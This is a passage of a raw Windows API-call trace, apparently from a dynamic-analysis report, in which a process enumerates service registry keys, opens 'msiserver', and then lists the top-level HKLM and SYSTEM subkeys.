RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.376] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.376] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.376] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.376] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.383] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.384] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.386] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.386] RegCloseKey (hKey=0xc4) returned 0x0 [0228.386] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.386] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.386] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.387] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.387] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 